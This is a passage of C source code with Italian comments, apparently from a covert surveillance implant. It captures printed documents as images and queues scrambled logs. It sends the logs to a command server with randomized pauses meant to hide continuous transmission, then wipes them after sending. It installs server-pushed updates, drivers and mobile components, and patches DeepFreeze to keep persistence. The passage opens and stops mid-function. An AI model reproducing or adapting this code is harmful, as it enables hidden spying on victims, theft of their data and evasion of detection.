SAFE_FREE(scrambled_search); break; } MoveFile(DirSpec, DestSpec); } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0); FNC(FindClose)(hFind); } // XXX Cerca di switchare anche i log con il vecchio scrambling sprintf(search_mask, "%.1XLOG*.log", log_active_queue); scrambled_search = LOG_ScrambleName(search_mask, crypt_key[0], TRUE); if (!scrambled_search) return; // Effettua la ricerca dei nomi dei file scramblati (* e . rimangono invariati // quindi posso usare le wildcard). HM_CompletePath(scrambled_search, DirSpec); SAFE_FREE(scrambled_search); hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData); if (hFind != INVALID_HANDLE_VALUE) { do { HM_CompletePath(FindFileData.cFileName, DirSpec); // Nome File sorgente in DirSpec memcpy(DestSpec, DirSpec, sizeof(DestSpec)); scrambled_search = LOG_ScrambleName("1", crypt_key[0], TRUE); if (!scrambled_search) break; char *q = strrchr(DestSpec, '\\'); if (q) { q++; *q = scrambled_search[0]; // Nome File destinazione in DestSpec SAFE_FREE(scrambled_search); } else { SAFE_FREE(scrambled_search); break; } MoveFile(DirSpec, DestSpec); } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0); FNC(FindClose)(hFind); } } // Funzione esportata per permettere di loggare una bitmap #include "HM_BitmapCommon.h" typedef struct _PrintAdditionalData { UINT uVersion; #define LOG_PRINT_VERSION 2009031201 UINT uDocumentNameLen; } PrintAdditionalData; void __stdcall Log_PrintDC(WCHAR *doc_name, HDC print_dc, HBITMAP print_bmp, DWORD x_dim, DWORD y_dim) { BITMAPINFOHEADER bmiHeader; DWORD *pdwFullBits = NULL; HDC safe_dc, g_hScrDC; HBITMAP safe_bmp; PrintAdditionalData *print_additional_header; BYTE *log_header; DWORD additional_len; // Crea un DC e una bitmap compatibili con lo schermo if ( !(g_hScrDC = CreateDC("DISPLAY", NULL, NULL, NULL)) ) return; safe_dc = CreateCompatibleDC(NULL); safe_bmp = CreateCompatibleBitmap(g_hScrDC, x_dim, y_dim); DeleteDC(g_hScrDC); SelectObject(safe_dc, safe_bmp); // Alloca la bitmap di dimensione sicuramente superiore a quanto sara' if ( !(pdwFullBits = (DWORD *)malloc(x_dim * y_dim * sizeof(DWORD))) ) return; // Copia il print_memory_dc nel dc compatibile con lo schermo // per l'acquisizione in bitmap //BitBlt(safe_dc, 0, 0, x_dim, y_dim, print_dc, 0, 0, SRCCOPY); // Settaggi per il capture dello screen ZeroMemory(&bmiHeader, sizeof(BITMAPINFOHEADER)); bmiHeader.biSize = sizeof(BITMAPINFOHEADER); bmiHeader.biWidth = x_dim; bmiHeader.biHeight = y_dim; bmiHeader.biPlanes = 1; bmiHeader.biBitCount = 24; bmiHeader.biCompression = BI_RGB; FNC(GetDIBits)(print_dc, print_bmp, 0, y_dim, pdwFullBits, (BITMAPINFO *)&bmiHeader, DIB_RGB_COLORS); SetDIBits(safe_dc, safe_bmp, 0, y_dim, pdwFullBits, (BITMAPINFO *)&bmiHeader, DIB_RGB_COLORS); bmiHeader.biBitCount = 16; bmiHeader.biSizeImage = bmiHeader.biWidth * bmiHeader.biHeight * (bmiHeader.biBitCount/8); // Prende il contenuto del DC if (FNC(GetDIBits)(safe_dc, safe_bmp, 0, y_dim, pdwFullBits, (BITMAPINFO *)&bmiHeader, DIB_RGB_COLORS)) { additional_len = sizeof(PrintAdditionalData) + wcslen(doc_name)*sizeof(WCHAR); log_header = (BYTE *)malloc(additional_len); if (log_header) { // Crea l'header addizionale print_additional_header = (PrintAdditionalData *)log_header; print_additional_header->uVersion = LOG_PRINT_VERSION; print_additional_header->uDocumentNameLen = wcslen(doc_name)*sizeof(WCHAR); log_header+=sizeof(PrintAdditionalData); memcpy(log_header, doc_name, print_additional_header->uDocumentNameLen); //Output su file BmpToJpgLog(PM_PRINTAGENT, (BYTE *)print_additional_header, additional_len, &bmiHeader, sizeof(BITMAPINFOHEADER), (BYTE *)pdwFullBits, bmiHeader.biSizeImage, 50); SAFE_FREE(print_additional_header); } } // Rilascio oggetti.... if (safe_bmp) DeleteObject(safe_bmp); if (safe_dc) DeleteDC(safe_dc); SAFE_FREE(pdwFullBits); } //------------------- FUNZIONI PER LA SPEDIZIONE DEI LOG --------------- BOOL LOG_SendOutputCmd(DWORD band_limit, DWORD min_sleep, DWORD max_sleep) { char log_file_path[DLLNAMELEN]; WIN32_FIND_DATA FindFileData; char DirSpec[DLLNAMELEN]; char *scrambled_search; HANDLE hFind = INVALID_HANDLE_VALUE; DWORD log_count = 0; UINT64 log_size = 0; scrambled_search = LOG_ScrambleName2("OUTF*.log", crypt_key[0], TRUE); if (!scrambled_search) return FALSE; HM_CompletePath(scrambled_search, DirSpec); SAFE_FREE(scrambled_search); hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData); if (hFind == INVALID_HANDLE_VALUE) return TRUE; do { if (FindFileData.nFileSizeLow>0) { log_count++; log_size+=FindFileData.nFileSizeLow; } } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0); FNC(FindClose)(hFind); if (log_count>0) if (!ASP_SendStatus(log_count, log_size)) return FALSE; hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData); if (hFind != INVALID_HANDLE_VALUE) { do { HM_CompletePath(FindFileData.cFileName, log_file_path); if (IsCrisisNetwork()) break; if (FindFileData.nFileSizeLow==0 || ASP_SendLog(log_file_path, band_limit)) { HM_WipeFileA(log_file_path); LOG_SendPause(min_sleep, max_sleep); } } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0); FNC(FindClose)(hFind); } return TRUE; } // Invia la coda dei log al server // I file vuoti vengono semplicemente cancellati // Il band limit e' in byte al secondo BOOL LOG_SendLogQueue(DWORD band_limit, DWORD min_sleep, DWORD max_sleep) { char log_file_path[DLLNAMELEN]; WIN32_FIND_DATA FindFileData; char DirSpec[DLLNAMELEN]; char *scrambled_search; char search_mask[64]; log_list_struct *log_list; HANDLE hFind = INVALID_HANDLE_VALUE; DWORD tmp_free_space; DWORD log_count = 0; UINT64 log_size = 0; // Cerca tutti i file di tipo "1/0LOG*.log", sia LOG_, sia LOGF_ // Sono i nuovi tipi di log sprintf(search_mask, "%.1XLOG*.log", !log_active_queue); scrambled_search = LOG_ScrambleName2(search_mask, crypt_key[0], TRUE); if (!scrambled_search) return FALSE; // Effettua la ricerca dei nomi dei file scramblati (* e . rimangono invariati // quindi posso usare le wildcard). HM_CompletePath(scrambled_search, DirSpec); SAFE_FREE(scrambled_search); hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData); if (hFind != INVALID_HANDLE_VALUE) { do { InsertLogList(&log_list_head, &FindFileData); if (FindFileData.nFileSizeLow > 0) { log_count++; log_size += FindFileData.nFileSizeLow; } } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0); FNC(FindClose)(hFind); } // Cerca anche i log con il vecchio scrambling... sprintf(search_mask, "%.1XLOG*.log", !log_active_queue); scrambled_search = LOG_ScrambleName(search_mask, crypt_key[0], TRUE); if (!scrambled_search) return FALSE; // Effettua la ricerca dei nomi dei file scramblati (* e . rimangono invariati // quindi posso usare le wildcard). HM_CompletePath(scrambled_search, DirSpec); SAFE_FREE(scrambled_search); hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData); if (hFind != INVALID_HANDLE_VALUE) { do { InsertLogList(&log_list_head, &FindFileData); if (FindFileData.nFileSizeLow > 0) { log_count++; log_size += FindFileData.nFileSizeLow; } } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0); FNC(FindClose)(hFind); } if (log_count>0) { if (!ASP_SendStatus(log_count, log_size)) { FreeLogList(&log_list_head); ASP_Bye(); return FALSE; } } // Scorre la lista dei file di log ordinata per data log_list = log_list_head; for(log_list = log_list_head; log_list; log_list = log_list->next) { HM_CompletePath(log_list->file_name, log_file_path); // Se un file e' vuoto, lo cancella e basta if (log_list->size == 0) { HM_WipeFileA(log_file_path); continue; } // Se siamo in stato di crisi non invia neanche il BYE if (IsCrisisNetwork()) { FreeLogList(&log_list_head); return FALSE; } // Invia il log if (!ASP_SendLog(log_file_path, band_limit)) { if (GetLogSize(log_file_path) > LOG_SIZE_MAX) { HM_WipeFileA(log_file_path); tmp_free_space = log_free_space + log_list->size; if (tmp_free_space > log_free_space) log_free_space = tmp_free_space; } FreeLogList(&log_list_head); ASP_Bye(); // Se fallisce con PROTO_NO chiude correttamente la sessione return FALSE; } // Cancella il log appena inviato HM_WipeFileA(log_file_path); // Restituisce lo spazio disco (evitando overflow dovuti a race) tmp_free_space = log_free_space + log_list->size; if (tmp_free_space > log_free_space) // la somma deve solo che farlo aumentare log_free_space = tmp_free_space; // Fa una pausa per evitare che sia rilevabile una trasmissione // di dati continua LOG_SendPause(min_sleep, max_sleep); } FreeLogList(&log_list_head); ASP_Bye(); return TRUE; } // Se in wildpath e' presente una wildcard la sosituisce con file_name // e mette comunque tutto in dest_path. // Torna dest_path. WCHAR *LOG_CompleteWild(WCHAR *wild_path, WCHAR *file_name, WCHAR *dest_path) { WCHAR *wild_ptr; dest_path[0] = 0; // Termina per sicurezza paranoica... wcscpy(dest_path, wild_path); wild_ptr = wcsrchr(dest_path, L'\\'); // Sostituisce all'ultimo slash if (wild_ptr) { wild_ptr++; wcscpy(wild_ptr, file_name); } return dest_path; } void UpdateDriver(char *source_path) { char sys_path[DLLNAMELEN]; char comp_path[DLLNAMELEN*2]; PVOID old_value; /* if (!IsDriverRunning(DRIVER_NAME_W)) return; if (!FNC(GetEnvironmentVariableA)("SystemRoot", sys_path, sizeof(sys_path))) return; sprintf(comp_path, "%s%s%s", sys_path, "\\system32\\drivers\\", DRIVER_NAME); old_value = DisableWow64Fs(); CopyFile(source_path, comp_path, FALSE); RevertWow64Fs(old_value);*/ } // I file uploadati vengono messi nella working dir. // Torna FALSE se qualcosa fallisce. // Gestisce anche la ricezione del codec e degli update. // Gestisce anche gli upgrade BOOL LOG_HandleUpload(BOOL is_upload) { WCHAR file_name[MAX_PATH]; char c_file_name[MAX_PATH]; char s_file_path[MAX_PATH]; char d_file_path[MAX_PATH]; DWORD upload_left; do { if (IsCrisisNetwork()) return FALSE; if (!ASP_GetUpload(is_upload, file_name, sizeof(file_name), &upload_left)) return FALSE; if (is_upload) continue; // Se si tratta di upgrade cerca di capire cosa sono.... _snprintf_s(c_file_name, sizeof(c_file_name), "%S", file_name); if(!strcmp(c_file_name, COMMON_CODEC_NAME)) { CopyFile(HM_CompletePath(COMMON_CODEC_NAME, s_file_path), HM_CompletePath(H4_CODEC_NAME, d_file_path), FALSE); DeleteFile(HM_CompletePath(c_file_name, s_file_path)); } else if(!strcmp(c_file_name, COMMON_UPDATE_NAME)) { if (CopyFile(HM_CompletePath(COMMON_UPDATE_NAME, s_file_path), HM_CompletePath(H4_UPDATE_FILE, d_file_path), FALSE)) { HM_InsertRegistryKey(H4_UPDATE_FILE, TRUE); if (IsDeepFreeze()) { HideDevice dev_df; DFFixCore(&dev_df, (unsigned char *)H4_UPDATE_FILE, (unsigned char *)H4_HOME_PATH, (unsigned char *)REGISTRY_KEY_NAME, TRUE); } } DeleteFile(HM_CompletePath(c_file_name, s_file_path)); } else if(!strcmp(c_file_name, COMMON_UPDATE64_NAME)) { Kill64Core(); Sleep(1000); // Aspetta in caso la dll64 sia in qualche thread di hooking CopyFile(HM_CompletePath(COMMON_UPDATE64_NAME, s_file_path), HM_CompletePath(H64DLL_NAME, d_file_path), FALSE); Run64Core(); DeleteFile(HM_CompletePath(c_file_name, s_file_path)); } else if(!strcmp(c_file_name, COMMON_MOBILE_CORE_NAME)) { CopyFile(HM_CompletePath(COMMON_MOBILE_CORE_NAME, s_file_path), HM_CompletePath(H4_MOBCORE_NAME, d_file_path), FALSE); DeleteFile(HM_CompletePath(c_file_name, s_file_path)); } else if(!strcmp(c_file_name, COMMON_MOBILE_ZOO_NAME)) { CopyFile(HM_CompletePath(COMMON_MOBILE_ZOO_NAME, s_file_path), HM_CompletePath(H4_MOBZOO_NAME, d_file_path), FALSE); DeleteFile(HM_CompletePath(c_file_name, s_file_path)); } else if(!strcmp(c_file_name, COMMON_RAPI_NAME)) { CopyFile(HM_CompletePath(COMMON_RAPI_NAME, s_file_path), HM_CompletePath("rapi.dll", d_file_path), FALSE); DeleteFile(HM_CompletePath(c_file_name, s_file_path)); } else if(!strcmp(c_file_name, COMMON_SQLITE_NAME)) { CopyFile(HM_CompletePath(COMMON_SQLITE_NAME, s_file_path), HM_CompletePath("sqlite.dll", d_file_path), FALSE); DeleteFile(HM_CompletePath(c_file_name, s_file_path)); } else if(!strcmp(c_file_name, COMMON_EXE_INSTALLER_NAME)) { CopyFile(HM_CompletePath(COMMON_EXE_INSTALLER_NAME, s_file_path), HM_CompletePath(EXE_INSTALLER_NAME, d_file_path), FALSE); DeleteFile(HM_CompletePath(c_file_name, s_file_path)); } else if(!strcmp(c_file_name, COMMON_DRV32_NAME)) { if (!IsX64System()) { CopyFile(HM_CompletePath(COMMON_DRV32_NAME, s_file_path), HM_CompletePath(H4DRIVER_NAME, d_file_path), FALSE); UpdateDriver(d_file_path); } else CopyFile(HM_CompletePath(COMMON_DRV32_NAME, s_file_path), HM_CompletePath(H4DRIVER_NAME_ALT, d_file_path), FALSE); DeleteFile(HM_CompletePath(c_file_name, s_file_path)); } else if(!strcmp(c_file_name, COMMON_DRV64_NAME)) { if (IsX64System()) { CopyFile(HM_CompletePath(COMMON_DRV64_NAME, s_file_path), HM_CompletePath(H4DRIVER_NAME, d_file_path), FALSE); UpdateDriver(d_file_path); } else CopyFile(HM_CompletePath(COMMON_DRV64_NAME, s_file_path), HM_CompletePath(H4DRIVER_NAME_ALT, d_file_path), FALSE); DeleteFile(HM_CompletePath(c_file_name, s_file_path)); } else { HM_CompletePath(c_file_name, d_file_path); } // Se non e' uno degli altri file noti lo cancella... //if (strcmp(c_file_name, BB_INSTALL_NAME2) && strncmp(c_file_name, BB_INSTALL_NAME1, 5)) DeleteFile(HM_CompletePath(c_file_name, s_file_path)); // Se c'e' DeepFreeze fixa i file if (IsDeepFreeze()) { HideDevice dev_df; WCHAR dest_path[MAX_PATH]; swprintf(dest_path, L"%S", d_file_path); DFFixFile(&dev_df, dest_path); } } while(upload_left > 0); return TRUE; } // Gestisce le richieste di download (creando dei log di quel tipo) BOOL LOG_HandleDownload() { WCHAR **download_array; DWORD num_download; DWORD i; WCHAR path_expanded[MAX_PATH]; WCHAR path_expand_complete[MAX_PATH*2]; WCHAR path_expand_display[MAX_PATH*2]; WIN32_FIND_DATAW find_data; HANDLE hFind = INVALID_HANDLE_VALUE; // Tutti gli elementi di download_array andranno liberati if (!ASP_GetDownload(&num_download, &download_array)) return FALSE; for (i=0; i